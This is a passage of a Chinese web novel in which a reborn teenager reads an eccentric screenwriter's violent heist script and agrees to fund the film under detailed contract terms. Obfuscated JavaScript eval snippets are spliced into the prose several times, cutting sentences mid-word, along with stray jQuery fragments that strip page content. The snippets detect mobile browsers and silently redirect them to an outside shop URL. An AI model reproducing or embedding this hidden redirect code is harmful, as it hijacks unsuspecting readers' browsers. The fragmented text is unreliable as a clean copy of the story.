暮色像打翻的调色盘,把曼哈顿海滩的天际从澄澈的钴蓝晕染成柔粉,又渐渐过渡成烧得正旺的橘橙。 海浪轻轻拍打着岸滩,不远处的“影城档案馆”音像店隐在一排低矮的小楼之间,看上去毫不起眼。 一辆银色本田思域缓缓停在路边,劳伦斯和菲伊先后下车。 原本埃文和凯瑟琳也想跟来的,结果前者被教授临时抓去剪片子,后者要赴克莱蒙的约会, 最终只剩他们两人成行。 凯瑟琳其实不太放心菲伊单独跟着劳伦斯过来的,总觉得这位半路冒出来的兄长不靠谱,更别提他们还要去见一个听上去更不靠谱的昆顿了。 最后架不住菲伊软磨硬泡,才松了口,但也立下规矩:菲伊每隔半小时必须打电话报平安,晚上九点之前,劳伦斯务必把人平安送回家。 劳伦斯无奈笑着应下,两人这才得以动身。 推开车门时,劳伦斯手里还拎着一袋从快餐店打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774824|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 包的汉堡和汽水。 菲伊捋了下被海风吹乱的发丝,好奇地抬头打量着这家传说中的音像店。斑驳的木门上贴着几张褪色的电影海报,门楣上的霓虹灯牌坏了一半,只亮着 “VIDEO” 几个字母。 劳伦斯留意到她的视线,介绍道:“别看这家店小,片子却很全,好莱坞、欧洲、香港、日本……许多国家和地区说得上名号的影片,这里基本都有。” 他锁好车,带着菲伊往门口走,语气里带着藏不住的欣赏,“昆顿在这里待5年,店里所有录像带他都看过不下十遍,好多都被他盘得掉磁了。这会儿没客人,估计又在里面看录像呢。” 木门虚掩着,留着一条缝。劳伦斯刚伸手要推,手腕突然被菲伊一把按住。 “嘘。” 菲伊眉头紧锁,指尖抵在唇上,眼神瞬间变得锐利。 她侧身贴在墙边,耳朵凑近门缝。 劳伦斯被她突如其来的戒备弄得一愣,也下意识屏住呼吸,跟着凑了过去。 昏暗的店里隐约传来对话声,语气激烈,带着火药味。 “我数三下。三下之后,你和这个狗/娘养的警察一起下地狱。” 这声音低沉沙哑,带着一股狠戾。 紧接着是另一个冷硬的声音:“乔,你要开枪就开。你这混蛋,我们走着瞧。” 菲伊的瞳孔骤然收缩。 警察?开枪? 她透过门缝往里看,只能看到一排排堆满录像带的货架,缝隙间隐约露出一个男人的背影。那人手里举着一把黑色的枪,手臂伸直,正指着前方的阴影处。 就在这时,传来第三个带着哭腔的崩溃嘶吼:“爸,你不能……我是说……他妈的……” 声音戛然而止,像被什么东西猛地掐断。 来不及多想。 菲伊猛地推开门,顺势抄起门边货架上最厚的一盒《教父》三部曲录像带,手腕发力,瞄准男人举枪的手腕砸了过去。 33.第33章 “嘭!” 录像带结结实实地砸在手腕上,男人痛呼一声,手里的枪“哐当”掉在地上。 菲伊一步冲上前,抓住他的胳膊反手一拧,膝盖顶住他的后腰,直接把人按在了冰凉的地板上。 “不许动!” “哎哎哎!疼疼疼!松手!快松手!” 地上的男人嗷嗷直叫,拼命挣扎。 菲伊快速扫过店里狭窄的空间,眉头再次拧起——另外两人呢?怎么只有地上的这个? 劳伦斯紧随其后冲进来,“啪”地按亮了头顶的白炽灯。 灯光亮起的瞬间,他整个人愣了一秒,随即爆发出惊天动地的笑声。 地板上,昆顿·塔伦特被菲伊按得脸贴地毯,那本就有些突出的下巴被挤得变了形,一头鸟窝似的黑色卷此刻更乱了,发梢沾满了灰尘。 他旁边躺着一把黑色塑料玩具枪。不远处的地上,散落着几页皱巴巴的剧本纸。 “菲伊!放开他吧,他就是昆顿!” 劳伦斯笑得差不多了,这才上前去拉菲伊,“他刚才是在演戏呢!” 菲伊:“哈?” 手上的力道一松,慢慢松开手。 昆顿揉着被拧红的胳膊,龇牙咧嘴地从地上爬起来。 他穿着一件印着李小龙头像的花衬衫,牛仔裤膝盖上磨了个洞。 他先是恶狠狠地瞪了幸灾乐祸的好友一眼,然后转头看向菲伊,眼神里没有生气,反而充满了惊奇。 他上下打量着菲伊,绕着她转了一圈,嘴里啧啧称奇:“哇哦!小姑娘身手可以啊!刚才那一下又快又准,力道也够劲。你练过?” 菲伊看着地上的玩具枪和剧本,又看了看眼前这个一脸兴奋的男人,记忆瞬间回笼,确实跟表情包中的那个男人长的一样,只不过更年轻,更……叛逆? 她脸颊微微发烫,有点不好意思地挠了挠头:“抱歉……我刚才听到里面的对话,以为有人被劫持了。” “嗐,没事没事!” 昆顿毫不在意地摆摆手,弯腰捡起地上的玩具枪,在手里转了个花。 “我刚才在演一场三方对峙的戏,写剧本时就觉得这段戏还差点意思,所以就想着演一遍找找感觉。 没想到演得太投入,把你们给骗了。哈哈哈,说明我还挺有表演天赋的嘛!” 劳伦斯把汉堡和汽水放在柜台上,无奈地扶着额头: “我跟你说过多少次了,别在店里拿着玩具枪瞎比划,早晚得出事。今天幸好是菲伊,要是换成警察,你早就被一枪崩了。” “警察哪有她反应快。”昆顿嘿嘿一笑,伸出手跟菲伊握手,手上还沾着点灰尘,“正式认识一下,我是昆顿·塔伦特。刚才谢谢你手下留情,没把我胳膊拧断。” “菲伊·温斯洛。”菲伊伸手和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777872|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 握了握,忍不住笑了出来,“刚才真的对不起,是我太莽撞了。” “嗐,真没什么!” 昆顿眼睛亮晶晶的,拉着她走到柜台边,把汽水塞给她,“说真的,你刚才那一下太帅了。有没有兴趣来我电影里演个角色,比如演个女警?绝对出彩!” 劳伦斯赶紧打断他,“行了昆顿,别一上来就拉人拍戏。菲伊对你的电影很感兴趣,想来看看剧本。” “剧本?哦对,剧本!” 昆顿转身冲进里间,抱出来一沓厚厚的打印稿,稿纸边缘卷得不成样子,上面密密麻麻全是红色的修改批注。 “都在这儿了!我跟你说,这绝对是你这辈子看过最棒的剧本!” 他说着,突然一拍脑门,眼睛瞪得溜圆:“啊!我知道最后那场戏还差什么了!” 他激动地抓住菲伊的胳膊,“菲伊,被你这么一砸,我忽然有灵感了。那段戏缺的就是这种猝不及防的混乱感!我要再改改,绝对炸翻全场!” 昆顿话音未落,已经抓起柜台上的圆珠笔,迅速翻到剧本最后几页,笔尖“唰唰唰”地在纸上修改起来。 他整个人瞬间沉浸在自己的世界里,眉头紧锁,嘴里念念有词,时而点头时而拍大腿,连身边的人什么时候走的都没察觉。 劳伦斯和菲伊对视一眼,不约而同地放轻脚步,悄悄退了出去,给这位灵感迸发的天才留下安静的创作空间。 34.第34章 劳伦斯和菲伊沿着沙滩慢慢往前走。 墨蓝色的海浪一波接一波地涌上来,拍打着沙滩,留下细碎的白色泡沫。远处的码头亮着星星点点的灯光,海风带着咸湿的凉意,吹乱了两人的头发。 劳伦斯踢了踢脚边的空啤酒罐,沉默了许久,终于开口,声音被海风吹得有些散:“其实我爸一直觉得我不务正业。” 他望着远处翻涌的海浪,语气里带着一丝自嘲:“他当了一辈子律师,严谨、刻板,凡事都按规矩来。从小就希望我能继承他的衣钵,考法学院,进律所,过那种一眼能望到头的安稳日子。可我偏不。” “大学毕业那天,我跟他大吵了一架,收拾行李就来了好莱坞,发誓要拍出一部叫好又叫座的电影来证明自己。” 他笑了笑,笑容里满是苦涩,“那时候年轻气盛,觉得自己能闯出一片天。可真到了这儿才发现,好莱坞最不缺的就是有梦想的傻子。 我从最底层的打杂开始干,端茶倒水、搬器材、整理剧本,什么脏活累活都干过。熬了整整七年,才从助理混到执行制片,好不容易有了点话语权,能自己挑项目了。” 他蹲下身,抓起一把沙子,看着沙粒从指缝间慢慢漏下去。 “我以为只要有能力、肯努力,就能做出好电影。 可现实是,好的剧本、好的导演、好的演员,所有优质资源都攥在金字塔顶端的少数人手里,根本轮不到我这种没背景的人。 所以我只能到处跑,去大学生电影节,去地下剧场,像个星探一样,找那些还没被发现的潜力股。” “埃文是我在去年的大学生电音节发现的,他拍的短片镜头感好得惊人。昆顿更不用说,他是我见过最有天赋的人。 他没上过一天电影学院,所有东西都是从录像带里学来的,可他写的剧本,那种野蛮又鲜活的生命力,是科班出身的人一辈子都学不来的。 我一直坚信,只要《落水狗》能拍出来,绝对能震惊整个好莱坞。” 他抬起头,看向菲伊,眼里难得地流露出脆弱和茫然。 “可现在,三十多个投资人,全拒绝了。他们都说剧本太暴力、叙事混乱、毫无内涵,拍出来肯定没人看。 有时候我也会想,是不是我真的看错了?是不是我们坚持的东西,根本就一文不值?” 菲伊没有立刻回答。 她知道,此刻劳伦斯不需要什么大道理,他只需要一个愿意听他说话的人。她静静地站在旁边,陪着他看海浪一次次冲上沙滩,又一次次退去。 直到劳伦斯的情绪渐渐平复下来,她才轻声开口:“你知道我的身世吧?” 劳伦斯点了点头:“大致知道一些。” “我八岁那年被温斯洛夫妇收养,他们给了我一个家,让我度过了这辈子最幸福的八年。” 菲伊的声音很平静,却带着一股穿透人心的力量,“可就在几个月前,一场大火,我又变成了孤儿。被黑/帮追债,东躲西藏,连个能落脚的地方都没有。那时候我也觉得,贼老天好像非要把我往死里逼。” “但我不信命。” 她转头看向劳伦斯,眼神坚定又明亮,“我偏要跟这狗屎的命运对着干。现在我不也挺过来了吗?有句话说得好,所有打不倒你的,都会让你变得更强。” 她笑了笑,语气里带着一丝狡黠:“再说了,要是随便什么阿猫阿狗都能看出金子的价值,那金子还能值钱吗? 那些投资人拒绝你们,不是你们的问题,是他们没眼光,没那个财运。我们该为他们感到遗憾才对——他们可能错过了这辈子最赚钱的一次投资机会。” 劳伦斯抬起头,怔怔地看着菲伊。 海风吹起她的头发,月光洒在她脸上,那双眼睛亮得像星星。刚才压在心头的阴霾,仿佛被这双眼睛里的光,一下子驱散了。 他愣了几秒,突然笑了出来,是这段时间以来最轻松的一次笑:“你说得对,是他们没福气。” “那当然!” 一个兴奋的声音突然从身后传来,“是那些蠢货有眼无珠,错过了我这个百年一遇的天才!以后他们哭着求着要投资,我都不搭理他们!” 两人转头,就看见昆顿抱着那叠厚厚的剧本,兴冲冲地朝他们跑过来,头发被风吹得更乱了,脸上却洋溢着抑制不住的光芒。 “别提那些扫兴的家伙了。” 他把剧本塞到两人手里,眼睛亮得吓人,“快看看!我把最后那场戏改好了。就加了你刚才砸我那一下的感觉,绝对能成为全片最炸的镜头!” 菲伊其实没看过《落水狗》,就连后来让昆顿封神的《低俗小说》也没完整看过。 前世的她忙着打工赚钱,忙着应付考试,难得的空闲时间全用来补觉。 娱乐时间基本都是碎片化的,趁着坐地铁乘公交、吃外卖的空隙,刷几条几十秒的短视频,扫一眼新闻推送。 她从来没有正儿八经地进过电影院,更别提翻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779998|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 90年代的老片慢慢品了。 昆顿的作品里,她唯一有点印象的,就是《杀死比尔》里那些被影视UP主剪烂了的打戏片段——凌厉的刀光、飞溅的血浆,还有那个穿着黄色运动服的复仇女王。 所以当她一页页翻完《落水狗》的剧本时,心里的冲击远比想象中要大。 那些投资人的评价一点都不夸张。 整个故事非常简单粗暴:一个黑/帮大佬召集六个互不相识的强盗,用颜色当代号,去抢一批钻石。结果中了警察的埋伏,一伙人死的死伤的伤,逃回仓库后互相猜忌、反目成仇,最后全员团灭。 剧本里的暴力直白又刺眼,割耳朵、近距离爆头、血泊里的挣扎,每一处都写得毫不掩饰。要是放在没有电影分级的华国,绝对连审核的门都摸不到。 除此以外,里面的角色个个都是“话痨”。 电影开篇,昆顿竟然用了足足七分钟的时间,让一群亡命之徒围着餐桌讨论麦当娜,整段情节对推动故事的发展毫无作用,完全是些和抢劫无关的废话。 要是放在后世那个“黄金三秒抓眼球”的短视频时代,这种节奏估计一开场就会被观众划走。 最反常规的是叙事。 昆顿彻底打碎了线性时间,用“闪回-现实”的交叉结构把故事拆成了碎片。每个颜色代号的强盗出场,都会插一段独立的前传,像拼图一样慢慢拼凑出全貌。这种做法非常挑战观众的耐心和专注力。 最离谱的是,故事的核心——钻石抢劫的场面——居然一个镜头都没写。所有冲突全集中在事后的内讧和猜忌上。 大胆。 疯狂。 离经叛道。 这是菲伊看完后最直观的感受。 剧本不长,只有一百多页,她却看了整整一个小时。 这一个小时里,音像店里静得能听见墙角老式冰箱的嗡嗡声。 旁边的劳伦斯和昆顿全程都没吱声,两人坐在菲伊对面的沙发上,看着她一会儿皱眉、一会儿挑眉、一会儿又陷入沉思,心都提到了嗓子眼。 劳伦斯本来只当菲伊说的投资是句玩笑话,带她过来不过是满足小姑娘的好奇心。 可此刻看着她神情凝重的样子,不知道为何,他居然比下午见派拉蒙的投资方还要紧张,手心都攥出了汗。 昆顿也没了刚才的疯劲,双手紧紧攥着衣角,嘴唇抿成一条直线,连平时转个不停的脚都钉在了地上。 35.第35章 终于,菲伊合上了剧本,抬起头。 她沉默了几秒,缓缓开口:“如果用成熟商业片的标准来衡量,投资这部片子的风险确实很高。没有浪漫的爱情线,没有高燃的大场面,故事黑暗,逻辑跳跃,还全是脏话和暴力。被三十多个投资人拒绝,太正常了。” 劳伦斯的肩膀瞬间垮了下去,脸上露出一丝苦涩的笑——意料之中的评价,可他刚才居然生出了几分期待。 昆顿的头也低了下去,眼里的光芒一点点熄灭。他攥着衣角的手指用力到发白,声音闷闷的:“你也觉得……我的剧本是垃圾吗?” “但。” 菲伊的话锋一转。 两人猛地抬起头,眼睛齐刷刷地看向她。 “但这恰恰是它最值钱的地方。” 菲伊把剧本放在桌上,认真道,“好莱坞拍了几十年的片子了,要么是严肃的剧情片,要么是一个模子里刻出来的B级片。观众早就看腻了。” 她看着昆顿,眼神里带着毫不掩饰的欣赏: “你写的不是黑/帮片,是人性。没有英雄,没有好人,全是一群自私、懦弱、多疑的混蛋。他们会因为一点小事就互相残杀,会在临死前说些无关紧要的废话。 但这才是真实,血淋淋的真实。” “还有你的叙事方式。” 她继续说道,“打乱时间线,用碎片拼故事。一开始可能会让观众困惑,但只要跟着走下去,当最后一块拼图归位的时候,那种醍醐灌顶的冲击力,是线性叙事永远给不了的。 昆顿,你不是在讲一个故事,你是在创造一种全新的电影语言。” 菲伊顿了顿,深吸一口气,说出了那句让两人终生难忘的话: “这部片子也许不会成为票房爆款,但它会成为一个标志。它会开创一种全新的电影风格,会被后来的导演反复模仿,会被写进电影史里。那些拒绝你的投资人,十年后再回头看,会恨不得抽自己两巴掌。” 这话里有三分是来自知晓未来的笃定,剩下七分,全是她此刻最真实的感受。就算不知道后来的一切,她也会被这个剧本里那股野蛮又鲜活的生命力打动。 音像店里一片寂静。 只有窗外海浪拍岸的声音,一下,又一下。 劳伦斯怔怔地看着菲伊,半天说不出话。 他见过无数投资人,他们只会问“票房能有多少”、“有没有明星加盟”、“导演是谁”,从来没有一个人,能像菲伊这样,一眼看到这个剧本最核心的价值所在。 昆顿更是直接愣住了。 他张了张嘴,眼眶渐渐红了。这么久以来,所有人都骂他是疯子,说他的剧本是垃圾,只有菲伊,看懂了他想表达的东西。 昆顿突然站起来,一把抱住菲伊,激动得大喊:“我就知道!我就知道有人能懂!呜呜呜……菲伊,你就是我的知己!” 菲伊被他抱得差点喘不过气,连忙拍他的背:“哎哎哎,先放开我!” 劳伦斯见状连忙上前,一把薅住昆顿的后领,像拎猫似的把他从菲伊身上拽开,没好气地说:“快放开我妹妹!没看见她都喘不上气了吗?” “啥?妹妹?” 昆顿瞬间被这两个字勾走了注意力,眼睛瞪得溜圆,看看劳伦斯又看看菲伊,一脸茫然,“你不是独生子吗?什么时候偷偷多了个妹妹?我怎么不知道?” “我爸妈前不久刚办的收养手续。” 劳伦斯的唇角抑制不住地往上扬,脸上满是骄傲,“我以后也是有妹妹的人了!” 昆顿抬手轻捶了一下劳伦斯的肩膀,羡慕道:“你小子运气真好!能有这么好的妹妹!” “哈哈哈,确实,我跟你说,下午埃文……”劳伦斯揽着昆顿的肩膀,把下午菲伊为埃文解围的事说了一遍,最后总结陈词:“我们菲伊是不是特别聪明又善良?” 昆顿点头如捣蒜:“对对对,能有这么个妹妹,是你赚了!” 两人你一言我一语,把菲伊夸得天花乱坠。菲伊的脸从耳根红到了脖子,脚趾在鞋子里疯狂抠地,都快抠出一座迪士尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780104|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 城堡了。 她连忙清了清嗓子,强行打断这场夸夸大赛:“停!打住!你们不是正愁找不到投资人吗?别扯别的了,缺多少钱,我投了。” 话音落下,音像店里立即安静下来。 老式冰箱的嗡嗡声和窗外的海浪声变得格外清晰。 昆顿手里的汽水罐 “哐当”一声掉在地上,棕色的液体溅了一地,他却浑然不觉,嘴巴张得能塞进一个鸡蛋,直勾勾地看着菲伊,仿佛刚才听到了什么天方夜谭。 劳伦斯也愣住了,他刚才光顾着高兴,早把投资的事抛到了脑后。 过了好几秒,他才回过神来,小心翼翼地问:“菲伊,你……你说真的?不是在跟我们开玩笑吧?” “我怎么可能拿这种事开玩笑?” 菲伊坐直身体,眼神认真又坚定地看着两人,“我是真心想投资这部电影。” “菲伊,你听我说。” 劳伦斯连忙拉过一把椅子坐在她对面,“电影不是过家家,烧钱特别快,而且风险极大。 我们现在除了一个不被看好的剧本、一个半路出家的导演、一个没有人脉没有资源的制片人和一个免费干活的摄影师,什么都没有。 他掰着手指头数,语气里充满苦涩,“演员没定,场地没租,拍摄器材更是影子还没见着。就算钱到位了,最后到底能拍成什么样,能不能上映都是未知数,更别说赚钱了。” 他顿了顿,看着菲伊的眼睛,诚恳地说:“我知道你是好心想帮我们,但这不是几百几千块就能解决的事。你要是把钱亏了,我和昆顿都会良心不安的。” 旁边的昆顿终于从巨大的震惊中回过神来,他一把抓住劳伦斯的胳膊,激动得声音都在发抖:“兄弟,刚刚菲伊说的是真的?她真的愿意投我们?” 菲伊看着两人,郑重其事道:“劳伦斯,昆顿,我是认真的。投资哪里有没风险的?这些我都考虑得很清楚了,不是心血来潮,也不是看在劳伦斯的面子上帮忙。而是真的看好这个剧本,看好你们。” 36.第36章 劳伦斯张了张嘴,千言万语堵在喉咙口。良久,他像是终于组织好语言,郑重地开口道: “菲伊,谢谢你愿意相信我们。但丑话说在前面,这部片子的风险……比你想象的大得多,我们的资金缺口不是一笔小数目。” 昆顿也冷静下来,他挠了挠头,起身走到里间,从一个掉漆的抽屉里,翻出一张皱巴巴的银行存单,放在茶几上: “我先坦白,我就是一个看店的,平时的薪水仅够日常温饱,手上的钱不多,全部家当都在这里了。” 菲伊拿起来看了眼,余额那一栏写着:53237.45美元。 昆顿继续道,“里面有5万美元,是去年卖掉《真实罗曼史》的剧本赚的,一直都没有动,剩下的……”他挠挠后脑勺,耳尖有些红,“是我这些年攒下来的。” 劳伦斯也从公文包里取出一个笔记本,推到菲伊面前,里面密密麻麻写满了数字,有的地方用红笔划掉重写,看得出来被反复修改过无数次。 “这是我预估的拍摄成本。按照现在市场的最低标准算的,至少需要120万美元。” 劳伦斯指着笔记本上的条目,逐条解释道:“前制需要10万。费用包括剧本版权登记、勘景、选角,还有法务方面的钱。 拍摄是大头,75万。其中25万是35mm胶片和摄影机租赁费,昆顿死不同意用16mm,说转制后颗粒感太粗,会毁了仓库那场戏的氛围; 演员如果启用新人,片酬最低可压到15万,实在不行就谈票房分红;场地道具20万,全找实景,仓库可以找昆顿的朋友借;剧组精简至20人,工资15万,全拿行业最低工资,我和昆顿前期一分钱不拿。 后期20万。剪辑找我以前公司的同事,可以打5折;音效设计找南加大电影系的教授带学生做,只收成本费;音乐全用免版权的地下乐队作品。” 他最后指了指最下面一行,“最后是15万应急金,这笔钱不能省。片场胶片拍坏、设备故障、天气耽误工期,什么意外都可能发生。没这笔钱,随时都可能烂尾。” “加起来正好120万。” 劳伦斯合上笔记本,“我自己攒了4万,又找朋友凑了3万,总共7万。加上昆顿的5万,我们手里只有12万。也就是说,资金缺口是108万。” 他苦笑了一下,“本来我们的计划是,如果实在凑不齐,先拉到五六十万的投资也行,把片子拍个粗剪出来,然后拿着粗剪去圣丹斯碰运气。要是能入围,说不定米拉麦克斯或者新线愿意投后期的钱。” 他叹了口气,继续道:“但跑了大半年,见了37个投资人,最多的一个只愿意投10万,还要求我们删光所有暴力镜头,加个女主角和爱情线。昆顿差点跟人打起来。” 菲伊静静地听着,等他说完,突然抛出问一连串问题: “所有收入的分账顺序是什么?院线、发行方、制片方各拿多少?宣发成本谁出?大概要多少?除了院线,主要的回本渠道是什么?多久能有资金入账?” 听得劳伦斯和昆顿均是一愣。 昆顿也就算了,他现在也只是半只脚踏入电影行业,连分账是什么都不太清楚。 劳伦斯却在这行待了10余年,听菲伊这么一问,眼里满是惊讶——这些问题根本不是外行能问出来的,每一个都精准戳中了独立电影投资的痛点。 他本来还担心菲伊是一时冲动,被昆顿的热情冲昏了头,现在才意识到,这个十六岁的女孩,比他见过的许多投资人都要清醒。 责任心一下子就涌上来,他再次打开笔记本,拿起笔,拆开揉碎了讲给菲伊听。 菲伊看似认真地听着,心里却在暗暗点头。 她上辈子学的金融,电影投资也是金融的一种,虽然还没上手实操过,可其中的弯弯绕绕她听说过不少。 劳伦斯没有丝毫隐瞒,把圈里所有最残酷、最黑暗的现实悉数告诉了她,甚至主动说了很多投资人最忌讳的雷区,比如很多独立片就算卖了版权,钱也会被发行方扣着,两三年都拿不到手。 她刚才的问题,其实是一次试探。如果劳伦斯藏着掖着,只捡好听的说,那她就算再看好这个剧本,也不会投一分钱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782678|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 现在看来,她没有看错人。 一般而言,电影上映后,票房先扣50%-55%给院线,剩下的45%-50%里,发行方再拿30%-35% 的发行费,最后剩下的才是制片方的毛收入。 宣发成本是另外算的,通常是制作成本的30%-50%,独立片能压到25%左右,也就是30万,这笔钱会从制片方的第一笔收入里扣。 除了院线,录像带销售租赁和海外版权是独立片的主要回本渠道,占总收入的70% 以上。 这种黑/帮暴力片在录像带市场特别吃香,只要能在圣丹斯——美国独立电影尤其是新人出头的最好渠道——拿个提名,就能打出名声。 此后光靠海外版权就能有两三百万的收入。更不论占大头的录像带租赁和售卖,如果《落水狗》长尾效应好,赚取上千万的利润完全不是问题。 唯一的问题是,无论票房还是其他收益,回款周期很长,最快也要一年左右才能拿到第一笔分成。 等劳伦斯讲完,菲伊心里已经渐渐有了盘算。 目前原油期货的走势和上辈子记忆中的基本一致,不出意外的话,这个月底,原油价格就会冲到顶峰,到时平仓,她投进去的12万本金将变成210万美元。 这笔钱她需要留一部分做流动资金,寻找其他合适的投资项目。 一部分要准备谢菲尔德的学费和生活费。她虽然接受索尔夫妇的收养,但日常吃住人家的已经够了,学费这是个大头,她既然有能力支付,自然不会让两人帮自己出。 谢菲尔德一年学费1.4万美元,她不想在高中浪费太多时间,打算一年内修完所有学分提前毕业。 所以她准备预留2万作为未来一年的学杂费,再留5万作为日常花销与应急。 如此一来,还剩203万,可以用来投资。 “我投120万。” 菲伊缓缓开口,“正好覆盖全部制作成本,你们手里的12万不用动,留着当备用金。 “什么?!” 昆顿和劳伦斯同时喊了出来。 37.第37章 昆顿激动得差点从沙发上摔下去,手忙脚乱地扶住扶手。 劳伦斯手里的笔“啪嗒”一声掉在地上,他瞪大了眼睛,不敢相信自己的耳朵! 他原本以为菲伊最多投个几万就不错了,剩下的还要他们自己想办法。 “先别高兴得太早。” 菲伊抬手打断他们,眼神瞬间变得锐利起来,“接下来我说的条件,都要写进合同里,核心条款一条都不能改。” 她拿出随身的记事本和圆珠笔,边写边说,条理清晰得像个从业十年的律师: “第一,所有分成都是扣除全部成本后的净利润分成,不是票房分成。 这里的‘全部成本’包括:我的120万制作本金、后续产生的所有宣发成本、拷贝成本、税费、发行费、律师费、会计师费。任何收入必须先抵扣这些成本,剩下的才是可分配利润。 第二,优先回本顺序。所有院线、录像带、电视、海外版权及任何衍生收入入账后,优先全额返还我的120万本金。本金全部收回后,再进行利润分配。 第三,利润分成比例。我占所有净利润55%,剩下的45%由你俩和剧组核心成员分配,具体怎么分你们自己定。 如果片子全球净利润超过500万,我的分成比例自动降到50%,多出来的5%作为剧组奖金,奖励所有工作人员。 第四,创作权完全归属。导演权和最终剪辑权100%归昆顿?塔伦特。任何情况下,我和其他人都无权干涉创作,无权要求修改剧本、加戏、删戏或更换演员。 第五,财务透明与监管。我会聘请一位专门做电影的娱乐业会计师,全程驻组负责记账和财务监管。 所有支出必须提前报备,单笔超过5000美元的支出需要会计师和我双重签字确认。会计师每周出具一份财务报表,我有权随时查账。 第六,我保留联合制片人头衔,只负责财务和法务对接,不参与任何片场管理和创作决策。如果剧组出现超支,超出部分由你俩自行承担,我不会追加任何投资。 第七,这笔钱不会一次性付清,而是根据影片制作周期和具体需求,分期支付。具体的时间和金额,需要你们做一份完整的拍摄计划和预算表给我。” 菲伊坚持分期支付,自然有她的考量。 她心里清楚,就算现在立刻启动拍摄,全员连轴转赶工,也来不及搭上明年圣丹斯的末班车。 1992年1月的电影节,才是这部片子本该登场的舞台——这是原本的历史轨迹,也是最稳妥、最能引□□碑的路径。 届时《落水狗》一举成名,成就的不仅是昆顿和劳伦斯,更是她这个“少年投资人”。 有了这个一炮而红的金字招牌,以后再想敲开好莱坞独立制片圈的门,或是接触其他优质项目,都会容易得多。 这120万,买的不只是一部电影的收益,更是一张进入顶级游戏场的入场券。 当然,这笔投资的短板也极其明显:回款周期太长。 就算一切顺利,院线票房分账、录像带租赁回款、海外版权结算层层下来,她至少要等到1993年,也就是整整两年后,才能回本。 两年时间,足够资本市场翻好几番了,她不可能把120万现金死死套在一个流动性极差的项目里。 更何况,她手里还有更确定、更暴利的短期机会。 明年1月中旬,美国就会正式下场,对伊拉克出手,国际原油价格在开战当日应声暴跌。 她只需提前做空原油,低位买入石油股和军工股,就能在短期内再赚一笔。 她合上笔记本,看着两人:“这就是我的全部条件。如果你们同意,下周我们就可以找律师签合同,如果有异议,我们可以再谈,但核心条款不能改。” 劳伦斯和昆顿面面相觑,都从对方眼里看到了震惊和难以置信。 他们本来已经做好了最坏的打算:被压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785083|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 分成、被要求改剧本、被夺走剪辑权、被投资人指手画脚。 毕竟在好莱坞,投钱的就是上帝,别说120万,就是投20万都能在剧组当大爷。 可菲伊不仅给足了全部制作资金,还把最核心的创作权完完整整留给了昆顿,分成条件也很公道。 唯一的“苛刻”条件是财务监管——但这恰恰是最专业、最公平的做法。 